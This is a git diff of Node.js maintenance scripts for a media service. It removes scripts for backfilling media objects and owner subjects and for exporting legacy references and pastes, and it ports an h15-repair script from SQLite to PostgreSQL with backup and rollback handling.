- * in place. Never moves or deletes bytes and never calls B2/R2 (remote copies stay 'pending' until
- * scripts/reconcile-objects.js --verify).
- *
- * node scripts/backfill-objects.js [--dry-run] [--only-missing] [--json] [--out report.json] [--db ./data/media.db]
- *
- * The service runs the --only-missing form itself shortly after boot. The run is one transaction
- * (a dry run rolls it back), so it holds SQLite's write lock for its duration — seconds, typically.
- */
-const fs = require('fs');
-const path = require('path');
-
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };
-if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));
-
-const { backfill, summarize } = require('../server/objects/backfill');
-const report = backfill({ dryRun: has('dry-run'), onlyMissing: has('only-missing') });
-if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));
-if (has('json')) console.log(JSON.stringify(report, null, 2));
-else {
- console.log(summarize(report));
- const reasons = {};
- for (const s of report.skipped) reasons[s.reason] = (reasons[s.reason] || 0) + 1;
- for (const [r, n] of Object.entries(reasons)) console.log(` skipped ${n}: ${r}`);
- for (const e of report.errors.slice(0, 20)) console.log(` error ${e.table} ${e.id}: ${e.error}`);
-}
-require('../server/db/database').close();
-process.exit(report.errors.length ? 1 : 0);
deleted file mode 100644
deleted file mode 100644
@@ -1,212 +0,0 @@
@@ -1,212 +0,0 @@
-#!/usr/bin/env node
-'use strict';
-/**
- * Give every media_object that names an app-local owner (owner_app + owner_user_id) its owner's
- * canonical Network subject (owner_subject, usr_<ULID>), resolved through Network's
- * POST /internal/identity/resolve-batch (docs/object-model.md#owner-subjects). Once this has run,
- * the service's reconcile job (server/objects/owner-subject-job.js) keeps new objects filled.
- *
- * node scripts/backfill-owner-subject.js [--db media.db] [--batch 500] [--json]
- * Dry run (the default): asks Network, changes nothing, and prints per tenant the objects
- * to fill, already set, unresolvable (Network does not know the owner), with no owner, and
- * those of tenants whose user ids it has no source system for.
- * node scripts/backfill-owner-subject.js --apply --backup <file.json> [--db media.db] [--batch 500]
- * First takes an online backup of the database to <file>.media.db and checks it with
- * PRAGMA integrity_check, then writes <file.json> (every row it is about to change, for
- * --rollback). Only then fills owner_subject, <batch> rows per transaction, never over a
- * non-null value and only while the row still has the owner it was resolved for.
- * Refuses to overwrite either backup file. Re-running fills only what is still missing.
- * node scripts/backfill-owner-subject.js --rollback <file.json> [--apply] [--db media.db]
- * Clears owner_subject again on the rows the file lists that still carry exactly the subject
- * the backfill wrote (rows changed since are left alone and counted). Without --apply it only
- * reports what it would restore, which also verifies an applied backfill.
- * Turn the service's reconcile job off first (MEDIA_OWNER_SUBJECT_SYNC=0 and a restart), or
- * its next run fills the rows again.
- *
- * Network: OV_NETWORK_INTERNAL_URL (default http://127.0.0.1:4000), with a service token
- * (OV_OAUTH_CLIENT_ID / OV_OAUTH_CLIENT_SECRET, capability identity.subject.resolve) or else
- * INTERNAL_API_KEY: the names /etc/openvibe/media.env already uses. The database is DB_PATH.
- *
- * The database is opened directly (read-only for a dry run), not through server/db/database.js,
- * whose boot work (migrations, marking in-progress clip cuts failed) must stay with the service.
- * Exit codes: 0 done, 1 error, 2 bad usage.
- */
-const fs = require('fs');
-const path = require('path');
-
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };
-const usage = (msg) => { console.error(`backfill-owner-subject: ${msg}`); process.exit(2); };
-
-for (const flag of ['db', 'backup', 'rollback', 'batch']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);
-if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));
-
-const Database = require('better-sqlite3');
-const config = require('../server/config');
-const ownerSubject = require('../server/objects/owner-subject');
-
-const APPLY = has('apply');
-const JSON_OUT = has('json');
-const BATCH = arg('batch') ? Number(arg('batch')) : ownerSubject.DEFAULT_BATCH;
-if (!Number.isInteger(BATCH) || BATCH < 1 || BATCH > 5000) usage('--batch must be an integer 1-5000');
-const DB_PATH = config.db.path;
-const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;
-const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;
-if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');
-if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file; the database copy goes next to it)');
-if (!fs.existsSync(DB_PATH)) usage(`no database at ${DB_PATH} (set DB_PATH or pass --db)`);
-
-const log = (...a) => { if (!JSON_OUT) console.log(...a); };
-
-function open({ readonly }) {
- const sqlite = new Database(DB_PATH, { readonly, fileMustExist: true });
- sqlite.pragma('busy_timeout = 15000');
- return sqlite;
-}
-
-function writePrivate(file, text) {
- fs.mkdirSync(path.dirname(file), { recursive: true, mode: 0o700 });
- const tmp = `${file}.tmp-${process.pid}`;
- const fd = fs.openSync(tmp, 'wx', 0o600);
- try { fs.writeSync(fd, text); fs.fsyncSync(fd); } finally { fs.closeSync(fd); }
- fs.renameSync(tmp, file);
-}
-
-function dbCopyPath(file) {
- return file.replace(/\.json$/i, '') + '.media.db';
-}
-
-/** Online backup (better-sqlite3's page-by-page copy; the service keeps writing), then integrity_check. */
-async function backupDatabase(sqlite, dest) {
- fs.mkdirSync(path.dirname(dest), { recursive: true, mode: 0o700 });
- await sqlite.backup(dest);
- fs.chmodSync(dest, 0o600);
- const copy = new Database(dest, { readonly: true, fileMustExist: true });
- try {
- const check = copy.pragma('integrity_check', { simple: true });
- const objects = copy.prepare('SELECT count(*) AS n FROM media_objects').get().n;
- return { path: dest, bytes: fs.statSync(dest).size, integrity_check: check, objects };
- } finally { copy.close(); }
-}
-
-function printSummary(before, plan) {
- const apps = [...new Set([...Object.keys(before), ...Object.keys(plan.perApp)])].sort();
- log(`Database: ${DB_PATH}`);
- log(`Network: ${config.network.internalUrl} (asked via ${plan.via || 'nothing: no owner to resolve'})`);
- log('');
- log('app objects already set to fill unresolvable unsupported app no owner');
- for (const app of apps) {
- const b = before[app] || { objects: 0, already_set: 0, no_owner: 0 };
- const p = plan.perApp[app] || { to_fill: 0, unresolvable: 0, unsupported: 0 };
- log(`${app.padEnd(40)} ${String(b.objects).padStart(7)} ${String(b.already_set).padStart(11)} ${String(p.to_fill).padStart(7)} ${String(p.unresolvable).padStart(12)} ${String(p.unsupported).padStart(15)} ${String(b.no_owner).padStart(8)}`);
- }
- const t = plan.totals;
- log(`${'total'.padEnd(40)} ${String(t.objects).padStart(7)} ${String(t.already_set).padStart(11)} ${String(t.to_fill).padStart(7)} ${String(t.unresolvable).padStart(12)} ${String(t.unsupported).padStart(15)} ${String(t.no_owner).padStart(8)}`);
- if (plan.unresolvableOwners.length) {
- log('');
- log(`Unresolvable owners (Network has no subject for them; their objects stay NULL): ${plan.unresolvableOwners.map(o => `${o.owner_app}:${o.owner_user_id} (${o.objects})`).join(', ')}`);
- }
- if (plan.unsupportedOwners.length) {
- log(`Owners in tenants with no known source system (left alone): ${plan.unsupportedOwners.map(o => `${o.owner_app}:${o.owner_user_id} (${o.objects})`).join(', ')}`);
- }
-}
-
-async function makePlan(sqlite) {
- const before = ownerSubject.summary(sqlite);
- const owners = ownerSubject.pendingOwners(sqlite);
- const resolver = ownerSubject.createResolver();
- const r = owners.length ? await ownerSubject.resolveOwners(owners, { resolver }) : { subjects: new Map(), unresolvable: [], unsupported: [] };
- const changes = ownerSubject.planChanges(sqlite, r.subjects, { batch: BATCH });
- const perApp = {};
- const bump = (app, k, n) => { perApp[app] = perApp[app] || { to_fill: 0, unresolvable: 0, unsupported: 0 }; perApp[app][k] += n; };
- for (const c of changes) bump(c.app_id, 'to_fill', 1);
- // Per tenant of the object (owner_app is the same as app_id for every object Media makes today).
- const countBy = (list) => {
- const m = new Map();
- for (const o of list) {
- for (const row of sqlite.prepare(`SELECT app_id, count(*) AS n FROM media_objects WHERE owner_subject IS NULL
- AND COALESCE(owner_app, app_id) = ? AND owner_user_id = ? GROUP BY app_id`).all(o.owner_app, o.owner_user_id)) {
- m.set(row.app_id, (m.get(row.app_id) || 0) + row.n);
- }
- }
- return m;
- };
- for (const [app, n] of countBy(r.unresolvable)) bump(app, 'unresolvable', n);
- for (const [app, n] of countBy(r.unsupported)) bump(app, 'unsupported', n);
- const totals = { objects: 0, already_set: 0, no_owner: 0, to_fill: changes.length, unresolvable: 0, unsupported: 0 };
- for (const b of Object.values(before)) { totals.objects += b.objects; totals.already_set += b.already_set; totals.no_owner += b.no_owner; }
- for (const p of Object.values(perApp)) { totals.unresolvable += p.unresolvable; totals.unsupported += p.unsupported; }
- return { before, perApp, totals, changes, unresolvableOwners: r.unresolvable, unsupportedOwners: r.unsupported, via: resolver.state.via, network_calls: resolver.state.calls, token_error: resolver.state.token_error };
-}
-
-async function backfill() {
- const sqlite = open({ readonly: !APPLY });
- try {
- const plan = await makePlan(sqlite);
- printSummary(plan.before, plan);
- if (plan.token_error && plan.via === 'internal-key') log(`(no service token: ${plan.token_error}; used INTERNAL_API_KEY)`);
- const report = { mode: APPLY ? 'apply' : 'dry-run', db: DB_PATH, network: config.network.internalUrl, via: plan.via, before: plan.before, per_app: plan.perApp, totals: plan.totals,
- unresolvable_owners: plan.unresolvableOwners, unsupported_owners: plan.unsupportedOwners };
- if (!APPLY) {
- log('');
- log('Dry run: nothing was changed. Re-run with --apply --backup <file.json> to fill.');
- if (JSON_OUT) console.log(JSON.stringify(report, null, 2));
- return 0;
- }
- if (!plan.changes.length) {
- log('');
- log('Nothing to fill; no backup taken, nothing changed.');
- if (JSON_OUT) console.log(JSON.stringify({ ...report, applied: 0 }, null, 2));
- return 0;
- }
-
- const copyPath = dbCopyPath(BACKUP);
- for (const f of [BACKUP, copyPath]) if (fs.existsSync(f)) usage(`${f} already exists; pick a new --backup name`);
- log('');
- log(`Backing up ${DB_PATH} -> ${copyPath} ...`);
- const copy = await backupDatabase(sqlite, copyPath);
- if (copy.integrity_check !== 'ok') { console.error(`backup failed integrity_check: ${copy.integrity_check}; nothing changed`); return 1; }
- log(` ${copy.bytes} bytes, integrity_check ok, ${copy.objects} objects`);
- const manifest = {
- kind: 'media.owner_subject.backfill', version: 1, created_at: new Date().toISOString(), db: DB_PATH, db_backup: copy.path,
- status: 'planned', rows: plan.changes.map(c => ({ id: c.id, app_id: c.app_id, owner_app: c.owner_app, owner_user_id: c.owner_user_id, owner_subject: c.owner_subject })),
- };
- writePrivate(BACKUP, JSON.stringify(manifest, null, 1));
- log(`Rollback file: ${BACKUP} (${manifest.rows.length} rows)`);
-
- const done = ownerSubject.applyChanges(sqlite, plan.changes, {
- batch: BATCH,
- onBatch: (b) => log(` batch ${b.batch}: ${b.rows} rows (filled ${b.applied} so far, ${b.skipped} changed underneath)`),
- });
- // The file now lists exactly the rows this run changed.
- writePrivate(BACKUP, JSON.stringify({ ...manifest, status: 'applied', applied_at: new Date().toISOString(), batches: done.batches,
- skipped: done.skipped.map(c => c.id), rows: done.applied }, null, 1));
- const after = ownerSubject.summary(sqlite);
- log('');
- log(`Filled owner_subject on ${done.applied.length} object(s) in ${done.batches} batch(es); ${done.skipped.length} skipped (changed while running).`);
- log(`Now: ${Object.entries(after).map(([app, s]) => `${app} ${s.already_set}/${s.objects} set, ${s.missing} missing`).join('; ')}`);
- if (JSON_OUT) console.log(JSON.stringify({ ...report, applied: done.applied.length, skipped: done.skipped.length, batches: done.batches, after, rollback_file: BACKUP, db_backup: copy }, null, 2));
- return 0;
- } finally { sqlite.close(); }
-}
-
-function rollback() {
- let manifest;
- try { manifest = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8')); } catch (err) { usage(`cannot read ${ROLLBACK}: ${err.message}`); }
- if (!manifest || manifest.kind !== 'media.owner_subject.backfill' || !Array.isArray(manifest.rows)) usage(`${ROLLBACK} is not an owner_subject backfill file`);
- const sqlite = open({ readonly: !APPLY });
- try {
- const r = ownerSubject.rollbackChanges(sqlite, manifest.rows, { apply: APPLY, batch: BATCH });
- log(`Database: ${DB_PATH}`);
- log(`Rollback file: ${ROLLBACK} (${manifest.status}, ${manifest.rows.length} rows, written ${manifest.applied_at || manifest.created_at})`);
- log(`${APPLY ? 'Restored' : 'Would restore'} ${r.restored} (owner_subject back to NULL); ${r.changed_since} changed since (left alone); ${r.missing} no longer exist.`);
- if (!APPLY) log('Nothing was changed. Re-run with --apply to restore.');
- if (JSON_OUT) console.log(JSON.stringify({ mode: APPLY ? 'rollback' : 'rollback-dry-run', restored: r.restored, changed_since: r.changed_since, missing: r.missing, changed_since_ids: r.rows.changed_since, missing_ids: r.rows.missing }, null, 2));
- return 0;
- } finally { sqlite.close(); }
-}
-
-(ROLLBACK ? Promise.resolve().then(rollback) : backfill())
- .then((code) => process.exit(code))
- .catch((err) => { console.error(`backfill-owner-subject: ${err.message}`); process.exit(1); });
deleted file mode 100644
deleted file mode 100644
@@ -1,42 +0,0 @@
@@ -1,42 +0,0 @@
-#!/usr/bin/env node
-'use strict';
-/**
- * Export which media object (med_…) stands behind each legacy reference, for services that still store
- * `legacy:<app>:<kind>:<id>` refs and move to object ids (C-24: OpenVibe.Community's screenshot pastes,
- * scripts/migrate-screenshot-refs.js there).
- *
- * node scripts/export-legacy-refs.js --prefix legacy:live:paste: --out /tmp/refs.json [--db ./data/media.db]
- * node scripts/export-legacy-refs.js --from-pastes live --out /tmp/paste-refs.json
- *
- * --from-pastes <app> answers for every paste row of the app that names its object (pastes.object_id), keyed
- * `legacy:<app>:paste:<slug>`: the paste's own record of its bytes, also when the object was filed under
- * another legacy name (a screenshot that was also an avatar is `legacy:<app>:avatar:<slug>`).
- *
- * Read-only (opens the database readonly). Output: { generated_at, prefix, count, objects: [{ legacy_ref, id,
- * kind, lifecycle_status }] } ordered by legacy_ref. Deleted objects are included with their status, so the
- * consumer can tell "gone" from "never existed".
- */
-const fs = require('fs');
-const path = require('path');
-const Database = require('better-sqlite3');
-
-const args = process.argv.slice(2);
-const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };
-const prefix = arg('prefix');
-const fromPastes = arg('from-pastes');
-const out = arg('out');
-const dbPath = path.resolve(arg('db', process.env.DB_PATH || './data/media.db'));
-if (!out || (!fromPastes && !/^legacy:[a-z0-9_-]+:/.test(String(prefix || ''))) || (fromPastes && !/^[a-z0-9_-]+$/.test(fromPastes))) {
- console.error('usage: export-legacy-refs.js (--prefix legacy:<app>:<kind>: | --from-pastes <app>) --out <file> [--db path]');
- process.exit(2);
-}
-
-const db = new Database(dbPath, { readonly: true, fileMustExist: true });
-const objects = fromPastes
- ? db.prepare(`SELECT 'legacy:' || p.app_id || ':paste:' || p.slug AS legacy_ref, o.id, o.kind, o.lifecycle_status
- FROM pastes p JOIN media_objects o ON o.id = p.object_id WHERE p.app_id = ? ORDER BY p.slug`).all(fromPastes)
- : db.prepare(`SELECT legacy_ref, id, kind, lifecycle_status FROM media_objects
- WHERE legacy_ref >= ? AND legacy_ref < ? ORDER BY legacy_ref`).all(prefix, `${prefix}`);
-const label = fromPastes ? `${fromPastes} paste rows` : prefix;
-fs.writeFileSync(out, JSON.stringify({ generated_at: new Date().toISOString(), prefix: prefix || null, from_pastes: fromPastes || null, count: objects.length, objects }, null, 1));
-console.log(`[export-legacy-refs] ${objects.length} object(s) from ${label} -> ${out}`);
deleted file mode 100755
deleted file mode 100755
@@ -1,61 +0,0 @@
@@ -1,61 +0,0 @@
-#!/usr/bin/env node
-'use strict';
-/**
- * Export an app's pastes, comments and likes as a canonical bundle for OpenVibe.Community's importer
- * (roadmap Wave 5: Community becomes the paste authority; Media keeps only the screenshot bytes).
- *
- * node scripts/export-pastes.js --app live --out /tmp/pastes.json [--since-id N] [--db ./data/media.db]
- *
- * Read-only (opens the database readonly). Deterministic for the same data: rows ordered by id, keys
- * in a fixed order, sha256 over { pastes, comments, likes }. IP addresses are never exported.
- * --since-id exports pastes with id > N plus every comment/like on any paste (they are small and the
- * importer upserts them), so an incremental run after cutover catches late writes.
- */
-const fs = require('fs');
-const path = require('path');
-const crypto = require('crypto');
-const Database = require('better-sqlite3');
-
-const args = process.argv.slice(2);
-const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };
-const app = arg('app', 'live');
-const out = arg('out');
-const sinceId = Number(arg('since-id', 0)) || 0;
-const dbPath = path.resolve(arg('db', process.env.DB_PATH || './data/media.db'));
-const publicBase = String(process.env.MEDIA_PUBLIC_URL || 'https://openvibe.media').replace(/\/$/, '');
-if (!out) { console.error('usage: export-pastes.js --app <id> --out <file> [--since-id N] [--db path]'); process.exit(2); }
-
-const db = new Database(dbPath, { readonly: true, fileMustExist: true });
-const json = (s) => { if (s == null || s === '') return null; try { return JSON.parse(s); } catch { return null; } };
-const tags = (s) => { const v = json(s); return Array.isArray(v) ? v : (typeof s === 'string' && s ? s.split(',').map(x => x.trim()).filter(Boolean) : null); };
-
-const pastes = db.prepare(`SELECT * FROM pastes WHERE app_id = ? AND id > ? ORDER BY id`).all(app, sinceId).map(p => ({
- id: p.id, slug: p.slug, user_id: p.user_id, type: p.type, title: p.title, content: p.content, language: p.language,
- visibility: p.visibility, stream_id: p.stream_id,
- screenshot_url: p.screenshot_path ? `${publicBase}/p/${p.slug}/screenshot` : null,
- metadata: json(p.metadata), burn_after_read: p.burn_after_read, forked_from: p.forked_from, pinned: p.pinned,
- views: p.views, unique_views: p.unique_views || 0, copies: p.copies, likes: p.likes, is_nsfw: p.is_nsfw,
- ai_summary: p.ai_summary, ai_tags: tags(p.ai_tags), ai_analyzed_at: p.ai_analyzed_at,
- created_at: p.created_at, updated_at: p.updated_at,
-}));
-const comments = db.prepare(`SELECT c.* FROM paste_comments c JOIN pastes p ON p.id = c.paste_id WHERE p.app_id = ? ORDER BY c.id`).all(app).map(c => ({
- id: c.id, paste_id: c.paste_id, user_id: c.user_id, parent_id: c.parent_id, anon_name: c.anon_name,
- message: c.message, is_deleted: c.is_deleted, created_at: c.created_at, updated_at: c.updated_at,
-}));
-const likes = db.prepare(`SELECT l.* FROM paste_likes l JOIN pastes p ON p.id = l.paste_id WHERE p.app_id = ? ORDER BY l.paste_id, l.user_id`).all(app).map(l => ({
- paste_id: l.paste_id, user_id: l.user_id, created_at: l.created_at,
-}));
-db.close();
-
-const body = { pastes, comments, likes };
-const bundle = {
- format: 'openvibe.media.pastes-export', version: 1, app,
- generated_at: new Date().toISOString(), since_id: sinceId,
- max_id: pastes.length ? pastes[pastes.length - 1].id : sinceId,
- sha256: crypto.createHash('sha256').update(JSON.stringify(body)).digest('hex'),
- counts: { pastes: pastes.length, comments: comments.length, likes: likes.length },
- ...body,
-};
-fs.writeFileSync(out, JSON.stringify(bundle));
-fs.chmodSync(out, 0o600); // paste content can be private/unlisted
-console.log(JSON.stringify({ out, app, since_id: sinceId, max_id: bundle.max_id, counts: bundle.counts, sha256: bundle.sha256 }));
@@ -13,8 +13,7 @@
@@ -13,8 +13,7 @@
* A copy whose bytes hash to the object's own content_hash plans resize: only the recorded size was
* A copy whose bytes hash to the object's own content_hash plans resize: only the recorded size was
* wrong (a projection from the legacy vods row put a stale size back after a rebaseline).
* wrong (a projection from the legacy vods row put a stale size back after a rebaseline).
* node scripts/h15-repair.js --apply --backup <file.json>
* node scripts/h15-repair.js --apply --backup <file.json>
- * First an online backup of the database to <file>.media.db (checked with integrity_check), then
- * the plan: re-records size and sha256 from a good remote copy (and the size on the legacy vods
+ * Carries out the plan (the database's own safety net is PostgreSQL's point-in-time recovery): re-records size and sha256 from a good remote copy (and the size on the legacy vods
* row, so its projection agrees), marks a failed recording
* row, so its projection agrees), marks a failed recording
* lifecycle_status 'failed' (not playable, hidden from public players), writes a regenerated
* lifecycle_status 'failed' (not playable, hidden from public players), writes a regenerated
* frame back to its location. <file.json> lists every change with its old values (the rollback
* frame back to its location. <file.json> lists every change with its old values (the rollback
@@ -22,7 +21,7 @@
@@ -22,7 +21,7 @@
* node scripts/h15-repair.js --rollback <file.json> [--apply]
* node scripts/h15-repair.js --rollback <file.json> [--apply]
* Restores the old values of the changes the file lists, where the row still holds what the
* Restores the old values of the changes the file lists, where the row still holds what the
* repair wrote (a regenerated file stays: it is the same frame). Without --apply it only reports.
* repair wrote (a regenerated file stays: it is the same frame). Without --apply it only reports.
- * (every command takes --db <media.db>; the database is DB_PATH otherwise)
+ * (the database is the service's: DATABASE_URL, from its env file)
*
*
* B2/R2 credentials come from the environment (the service's /etc/openvibe/media.env names). Run it as
* B2/R2 credentials come from the environment (the service's /etc/openvibe/media.env names). Run it as
* the service user so written files belong to it. Exit codes: 0 done, 1 error, 2 bad usage.
* the service user so written files belong to it. Exit codes: 0 done, 1 error, 2 bad usage.
@@ -33,141 +32,137 @@ const path = require('path');
@@ -33,141 +32,137 @@ const path = require('path');
const crypto = require('crypto');
const crypto = require('crypto');
const { execFile } = require('child_process');
const { execFile } = require('child_process');
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };
-const usage = (msg) => { console.error(`h15-repair: ${msg}`); process.exit(2); };
-for (const flag of ['db', 'backup', 'rollback', 'out']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);
-if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));
-const APPLY = has('apply');
-const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;
-const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;
-if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');
-if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file; the database copy goes next to it)');
+(async () => {
+ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service
+ { const st = require('../server/vod/vod-storage'); await st.tierConfig.init(st.DEFAULTS, { log: { info() {}, warn: (m) => console.error(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) } }); } // the storage policy as configured (quiet: stdout is the report)
+ const args = process.argv.slice(2);
+ const has = (name) => args.includes(`--${name}`);
+ const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };
+ const usage = (msg) => { console.error(`h15-repair: ${msg}`); process.exit(2); };
+ for (const flag of ['db', 'backup', 'rollback', 'out']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);
+ const APPLY = has('apply');
+ const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;
+ const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;
+ if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');
+ if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file; the database copy goes next to it)');
-const config = require('../server/config');
-const db = require('../server/db/database');
-const copyReport = require('../server/objects/copy-report');
-const h15 = require('../server/objects/h15-repair');
-const vs = require('../server/vod/vod-storage');
+ const config = require('../server/config');
+ const db = require('../server/db/database');
+ const copyReport = require('../server/objects/copy-report');
+ const h15 = require('../server/objects/h15-repair');
+ const vs = require('../server/vod/vod-storage');
-const run = (cmd, argv, timeoutMs) => new Promise((resolve) => {
- execFile(cmd, argv, { timeout: timeoutMs, maxBuffer: 64 * 1024 * 1024 }, (err, stdout, stderr) => resolve({ err, stdout: String(stdout || ''), stderr: String(stderr || '') }));
-});
+ const run = (cmd, argv, timeoutMs) => new Promise((resolve) => {
+ execFile(cmd, argv, { timeout: timeoutMs, maxBuffer: 64 * 1024 * 1024 }, (err, stdout, stderr) => resolve({ err, stdout: String(stdout || ''), stderr: String(stderr || '') }));
+ });
-/** Download a presigned URL to a file, hashing as it goes. → { size, sha256 } */
-async function download(url, file) {
- const res = await fetch(url, { signal: AbortSignal.timeout(30 * 60 * 1000) });
- if (!res.ok || !res.body) throw new Error(`download answered ${res.status}`);
- const hash = crypto.createHash('sha256');
- const out = fs.createWriteStream(file);
- let size = 0;
- for await (const chunk of res.body) { hash.update(chunk); size += chunk.length; if (!out.write(chunk)) await new Promise((r) => out.once('drain', r)); }
- await new Promise((r, j) => out.end((e) => (e ? j(e) : r())));
- return { size, sha256: hash.digest('hex') };
-}
+ /** Download a presigned URL to a file, hashing as it goes. → { size, sha256 } */
+ async function download(url, file) {
+ const res = await fetch(url, { signal: AbortSignal.timeout(30 * 60 * 1000) });
+ if (!res.ok || !res.body) throw new Error(`download answered ${res.status}`);
+ const hash = crypto.createHash('sha256');
+ const out = fs.createWriteStream(file);
+ let size = 0;
+ for await (const chunk of res.body) { hash.update(chunk); size += chunk.length; if (!out.write(chunk)) await new Promise((r) => out.once('drain', r)); }
+ await new Promise((r, j) => out.end((e) => (e ? j(e) : r())));
+ return { size, sha256: hash.digest('hex') };
+ }
-/** ffprobe + a full decode. → { duration, streams, errorLines } | { error } */
-async function probe(file) {
- const p = await run('ffprobe', ['-v', 'error', '-show_entries', 'format=duration:stream=codec_name', '-of', 'json', file], 120000);
- if (p.err) return { error: (p.stderr || p.err.message).split('\n')[0] };
- let j = {}; try { j = JSON.parse(p.stdout); } catch { return { error: 'ffprobe output unreadable' }; }
- const d = await run('ffmpeg', ['-nostdin', '-v', 'error', '-i', file, '-f', 'null', '-'], 60 * 60 * 1000);
- return { duration: Number(j.format && j.format.duration) || 0, streams: (j.streams || []).map((s) => s.codec_name).filter(Boolean), errorLines: d.stderr.split('\n').filter(Boolean) };
-}
+ /** ffprobe + a full decode. → { duration, streams, errorLines } | { error } */
+ async function probe(file) {
+ const p = await run('ffprobe', ['-v', 'error', '-show_entries', 'format=duration:stream=codec_name', '-of', 'json', file], 120000);
+ if (p.err) return { error: (p.stderr || p.err.message).split('\n')[0] };
+ let j = {}; try { j = JSON.parse(p.stdout); } catch { return { error: 'ffprobe output unreadable' }; }
+ const d = await run('ffmpeg', ['-nostdin', '-v', 'error', '-i', file, '-f', 'null', '-'], 60 * 60 * 1000);
+ return { duration: Number(j.format && j.format.duration) || 0, streams: (j.streams || []).map((s) => s.codec_name).filter(Boolean), errorLines: d.stderr.split('\n').filter(Boolean) };
+ }
-const sha256File = (file) => new Promise((resolve, reject) => {
- const h = crypto.createHash('sha256');
- fs.createReadStream(file).on('data', (c) => h.update(c)).on('end', () => resolve(h.digest('hex'))).on('error', reject);
-});
+ const sha256File = (file) => new Promise((resolve, reject) => {
+ const h = crypto.createHash('sha256');
+ fs.createReadStream(file).on('data', (c) => h.update(c)).on('end', () => resolve(h.digest('hex'))).on('error', reject);
+ });
-/** The frame at `offset` seconds of VOD `vodId`, extracted from its good copy into `file`. → { size, sha256 } */
-async function extractFrame(vodId, offset, file) {
- const v = db.getDb().prepare('SELECT id, storage_provider, storage_key, file_path FROM vods WHERE id = ?').get(vodId);
- if (!v) throw new Error(`VOD ${vodId} does not exist`);
- let input = v.file_path && fs.existsSync(v.file_path) ? v.file_path : null;
- if (!input && v.storage_provider && v.storage_key) { const u = await vs.presignGet(v.storage_provider, v.storage_key, 3600); input = typeof u === 'string' ? u : u.url; }
- if (!input) throw new Error(`VOD ${vodId} has no readable copy`);
- const r = await run('ffmpeg', ['-nostdin', '-v', 'error', '-ss', String(offset), '-i', input, '-frames:v', '1', '-q:v', '3', '-y', file], 20 * 60 * 1000);
- if (r.err || !fs.existsSync(file) || !fs.statSync(file).size) throw new Error(`no frame at ${offset} s: ${(r.stderr || (r.err && r.err.message) || '').split('\n')[0]}`);
- return { size: fs.statSync(file).size, sha256: await sha256File(file) };
-}
+ /** The frame at `offset` seconds of VOD `vodId`, extracted from its good copy into `file`. → { size, sha256 } */
+ async function extractFrame(vodId, offset, file) {
+ const v = await db.getDb().prepare('SELECT id, storage_provider, storage_key, file_path FROM vods WHERE id = ?').get(vodId);
+ if (!v) throw new Error(`VOD ${vodId} does not exist`);
+ let input = v.file_path && fs.existsSync(v.file_path) ? v.file_path : null;
+ if (!input && v.storage_provider && v.storage_key) { const u = await vs.presignGet(v.storage_provider, v.storage_key, 3600); input = typeof u === 'string' ? u : u.url; }
+ if (!input) throw new Error(`VOD ${vodId} has no readable copy`);
+ const r = await run('ffmpeg', ['-nostdin', '-v', 'error', '-ss', String(offset), '-i', input, '-frames:v', '1', '-q:v', '3', '-y', file], 20 * 60 * 1000);
+ if (r.err || !fs.existsSync(file) || !fs.statSync(file).size) throw new Error(`no frame at ${offset} s: ${(r.stderr || (r.err && r.err.message) || '').split('\n')[0]}`);
+ return { size: fs.statSync(file).size, sha256: await sha256File(file) };
+ }
-async function backupDatabase(dest) {
- await db.getDb().backup(dest);
- const Database = require('better-sqlite3');
- const copy = new Database(dest, { readonly: true });
- try { return { path: dest, bytes: fs.statSync(dest).size, integrity_check: copy.pragma('integrity_check', { simple: true }) }; } finally { copy.close(); }
-}
-async function main() {
- const h = db.getDb();
- if (ROLLBACK) {
- const file = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8'));
- const out = (file.changes || []).map((c) => (APPLY ? h15.rollback(h, c) : { ...c, would_restore: true }));
- for (const o of out) console.log(`${o.object_id} ${o.action}: ${o.restored ? 'restored' : o.skipped || (o.would_restore ? 'would restore' : '')}`);
- return 0;
- }
- const q = { all: (sql, p = []) => h.prepare(sql).all(...p), get: (sql, p = []) => h.prepare(sql).get(...p) };
- const report = copyReport.buildReport(q, {});
- const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'h15-repair-'));
- const steps = [];
- try {
- for (const item of report.objects) {
- const probes = {};
- const facts = {};
- for (const l of item.locations.filter((x) => (x.provider === 'b2' || x.provider === 'r2') && x.state === 'corrupt')) {
